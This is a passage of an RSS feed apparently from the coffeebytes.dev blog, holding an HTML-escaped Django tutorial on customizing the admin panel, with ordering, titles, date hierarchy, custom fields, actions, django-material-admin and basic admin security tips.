VideogameAdmin)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Here we have told you to order them by name, in descending order, using the &amp;ldquo;-&amp;rdquo; symbol.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/django/the-django-admin-panel-and-its-customization/images/OrdenPorNombreDescendenteAdminDjango.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/django/the-django-admin-panel-and-its-customization/images/OrdenPorNombreDescendenteAdminDjango.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Models sorted alphabetically in descending order&#34; width=&#34;678&#34; height=&#34;425&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Note the arrangement of the models in descending order&lt;/p&gt;&#xA;&lt;h2 id=&#34;modifying-the-header-title-and-description-on-django-admin-page&#34;&gt;Modifying the header, title and description on django admin page&lt;/h2&gt;&#xA;&lt;p&gt;If you want to give a personalized touch to the Django admin, even giving it the name of your business, or your client&amp;rsquo;s business. You can do this by modifying the properties of the Admin model as follows:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# videogameStore/admin.py&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# ...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;admin&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;site&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;site_header &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;Site name&amp;#39;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;admin&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;site&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;index_title &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;Control panel of the site&amp;#39;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;admin&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;site&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;site_title &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;title in the browser tab&amp;#39;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Now you can see that in the main page of the admin you can see the changes we have made.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/django/the-django-admin-panel-and-its-customization/images/ModificandoLaCabeceraTituloYDescripcion.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/django/the-django-admin-panel-and-its-customization/images/ModificandoLaCabeceraTituloYDescripcion.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Changing the title, description and title of the django admin panel&#34; width=&#34;301&#34; height=&#34;441&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;The three labels have changed&lt;/p&gt;&#xA;&lt;h2 id=&#34;sorting-objects-according-to-a-date-field&#34;&gt;Sorting objects according to a date field&lt;/h2&gt;&#xA;&lt;p&gt;If we add a &lt;em&gt;date_hierarchy&lt;/em&gt; field to our model, we will be able to sort the fields according to a &lt;em&gt;DateTimeField&lt;/em&gt; or &lt;em&gt;DateField&lt;/em&gt; type field in our model.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# videogameStore/admin.py&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; django.contrib &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; admin&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; .models &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; Videogame&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;VideogameAdmin&lt;/span&gt;(admin&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;ModelAdmin):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#78787e&#34;&gt;# ...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    date_hierarchy &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;created&amp;#39;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;admin&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;site&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;register(Videogame, VideogameAdmin)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/django/the-django-admin-panel-and-its-customization/images/AgregandoDate_hierarchy.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/django/the-django-admin-panel-and-its-customization/images/AgregandoDate_hierarchy.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Sorting by date field&#34; width=&#34;555&#34; height=&#34;193&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;The legend April2021 and April 30 appear after placing date_hierarchy&lt;/p&gt;&#xA;&lt;h2 id=&#34;create-custom-dynamic-fields&#34;&gt;Create custom dynamic fields&lt;/h2&gt;&#xA;&lt;p&gt;We can also create special fields, which are not part of the model, and which are generated dynamically according to information from the model&amp;rsquo;s own fields or from elsewhere. For example a field that classifies an object according to its ratings.&lt;/p&gt;&#xA;&lt;p&gt;To create such a field we add the field name to &lt;em&gt;list_display&lt;/em&gt; (to tell the admin to display it) and create a method with the same name, this method receives the individual object and must return what we want to be displayed on the screen.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# videogameStore/admin.py&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;VideogameAdmin&lt;/span&gt;(admin&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;ModelAdmin):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    list_display &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; (&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;name&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;created&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;popular&amp;#39;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#78787e&#34;&gt;# ...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;popular&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;, obj):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Popular&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;if&lt;/span&gt; obj&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;rating &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;4.5&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;else&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;It&amp;#39;s not popular&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/django/the-django-admin-panel-and-its-customization/images/CamposPersonalizadosDjangoAdmin.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/django/the-django-admin-panel-and-its-customization/images/CamposPersonalizadosDjangoAdmin.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Django Admin. dynamic custom fields&#34; width=&#34;653&#34; height=&#34;224&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;h2 id=&#34;create-actions-for-the-django-admin&#34;&gt;Create actions for the Django admin&lt;/h2&gt;&#xA;&lt;p&gt;All models have the delete action available, which allows you to select several rows from the database and delete them.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/django/the-django-admin-panel-and-its-customization/images/AccionEliminarDjangoAdmin.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/django/the-django-admin-panel-and-its-customization/images/AccionEliminarDjangoAdmin.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Delete action in django admin.&#34; width=&#34;654&#34; height=&#34;198&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;In addition to the delete action we can create our own actions that modify our admin elements in the way we wish&lt;/p&gt;&#xA;&lt;p&gt;As an example we are going to create an action that allows us to set a rating of 5.0 to our objects.&lt;/p&gt;&#xA;&lt;p&gt;First, we create a function that receives modeladmin, request and the queryset as arguments. The queryset will contain all the objects that we will select in the interface. And we can also add a message to be displayed when the action is executed.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# videogameStore/admin.py&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; django.contrib &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; admin&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; django.contrib &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; messages&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; .models &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; Videogame&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# Register your models here.&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;VideogameAdmin&lt;/span&gt;(admin&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;ModelAdmin):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#78787e&#34;&gt;# ...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;rate_five_stars&lt;/span&gt;(modeladmin, request, queryset):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        queryset&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;update(rating&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;5.0&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        messages&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;success(request, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Was rated with 5 stars&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    admin&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;site&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;add_action(rate_five_stars, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Add 5 stars rating&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Once the method is created, we add it to the admin through its &lt;em&gt;add_action()&lt;/em&gt; method, passing it the method we created and the name we want to appear on the screen to refer to that action, as the first and second arguments, respectively.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/django/the-django-admin-panel-and-its-customization/images/AccionesDjangoAdmin.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/django/the-django-admin-panel-and-its-customization/images/AccionesDjangoAdmin.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Action created in the django admin model&#34; width=&#34;700&#34; height=&#34;301&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;If we select some elements and execute the action, it will rate them with 5 stars and the message we defined will appear.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/django/the-django-admin-panel-and-its-customization/images/mensajeExitoDjangoAdmin.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/django/the-django-admin-panel-and-its-customization/images/mensajeExitoDjangoAdmin.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Success message after executing action in djago admin&#34; width=&#34;456&#34; height=&#34;175&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;h2 id=&#34;installing-external-templates-for-django-admin&#34;&gt;Installing external templates for django admin&lt;/h2&gt;&#xA;&lt;p&gt;There are quite a few packages that allow quite sophisticated modifications of django admin, which can even turn it into a CMS, just like Wordpress, with which you can deliver to your customers a fully functional application ready to be used by non-technical people.&lt;/p&gt;&#xA;&lt;p&gt;Examples of the above include the following packages:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://django-jazzmin.readthedocs.io/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;Jazzmin&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://wagtail.org/&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;Wagtail&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://github.com/stephenmcd/mezzanine&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;Mezzanine&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://www.django-cms.org/en/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;Django CMS&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Each one is a topic in itself, so I cannot summarize them in a single entry.&lt;/p&gt;&#xA;&lt;h2 id=&#34;example-of-visual-enhancement-with-django-material-admin&#34;&gt;Example of visual enhancement with django material admin&lt;/h2&gt;&#xA;&lt;p&gt;Finally, I will show you an example of visual enhancement with &lt;em&gt;django-material-admin&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Let&amp;rsquo;s install it.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;pip install django&lt;span style=&#34;color:#ff6ac1&#34;&gt;-&lt;/span&gt;material&lt;span style=&#34;color:#ff6ac1&#34;&gt;-&lt;/span&gt;admin&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;And now we modify our INSTALLED_APPS variable&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# settings.py&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# ...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;INSTALLED_APPS &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; [&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;material&amp;#39;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;material.admin&amp;#39;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#78787e&#34;&gt;# removemos django.contrib.admin&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;django.contrib.auth&amp;#39;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#78787e&#34;&gt;# ...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;]&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;We can add an extra field to our admin models to change the icons, just put the name that appears in the &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://materializecss.com/icons.html&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;materialize documentation&lt;/a&gt;&#xA;.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# videogameStore/admin.py&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; django.contrib &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; admin&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; .models &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; Videogame&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;VideogameAdmin&lt;/span&gt;(admin&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;ModelAdmin):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#78787e&#34;&gt;# ...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    icon_name &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;gamepad&amp;#39;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;admin&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;site&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;register(Videogame, VideogameAdmin)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;If we now access the admin, we will be able to see a new, much more stylish terminal. And also a more eye-catching administration panel.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/django/the-django-admin-panel-and-its-customization/images/MaterialDjangoAdmin.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/django/the-django-admin-panel-and-its-customization/images/MaterialDjangoAdmin.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;admin main screen with django material&#34; width=&#34;1920&#34; height=&#34;980&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Django administration panel with django-material&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/django/the-django-admin-panel-and-its-customization/images/pantalla-de-loggeo-django-material.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/django/the-django-admin-panel-and-its-customization/images/pantalla-de-loggeo-django-material.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Log-in screen with django-material&#34; width=&#34;1920&#34; height=&#34;978&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;django admin login panel with django-material&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;I used this package especially because it installs easily and gives a completely different look to the admin. But there are &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://dev.to/sm0ke/django-admin-dashboards-open-source-and-free-1o80&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;many other options available&lt;/a&gt;&#xA; that you can choose from, some paid and some free.&lt;/p&gt;&#xA;&lt;h2 id=&#34;security-in-django-admin&#34;&gt;Security in django admin&lt;/h2&gt;&#xA;&lt;p&gt;It is advisable to change the default url, &lt;em&gt;/admin/&lt;/em&gt;, to a less obvious one, this in order to prevent brute force attacks, if the attacker does not know the django admin address, it will be impossible for him to try to guess your password by brute force.&lt;/p&gt;&#xA;&lt;p&gt;There are also packages that create a fake admin panel that you can monitor, to find out which IP addresses are trying to take over your site via the admin panel, one of them is &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://github.com/dmpayton/django-admin-honeypot&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;django-admin-honeypot&lt;/a&gt;&#xA;. Once you identify these IP addresses, you can limit their access, blacklist them or block them completely.&lt;/p&gt;&#xA;&lt;p&gt;If you need extra functionality for the admin, check the &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://docs.djangoproject.com/en/3.2/ref/contrib/admin/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;official Django documentation&lt;/a&gt;&#xA;.&lt;/p&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;One of the best features of django is that it has the django admin panel, a ready-to-use administration panel, with basic functions such as create, read, edit and delete models, users, groups and permissions. All ready to use just by setting up your application. But sometimes our needs are different, what if we want to modify the appearance or functions of the interface? Fortunately Django includes many functions to customize the behavior of the admin, I will explain some of them below.&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>Caching in Django REST Framework using memcached</title>
      <link>https://coffeebytes.dev/en/django/caching-in-django-rest-framework-using-memcached/</link>
      <pubDate>Tue, 07 Sep 2021 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/en/django/caching-in-django-rest-framework-using-memcached/</guid>
      
      <category>django</category>
      
      
      
      
      
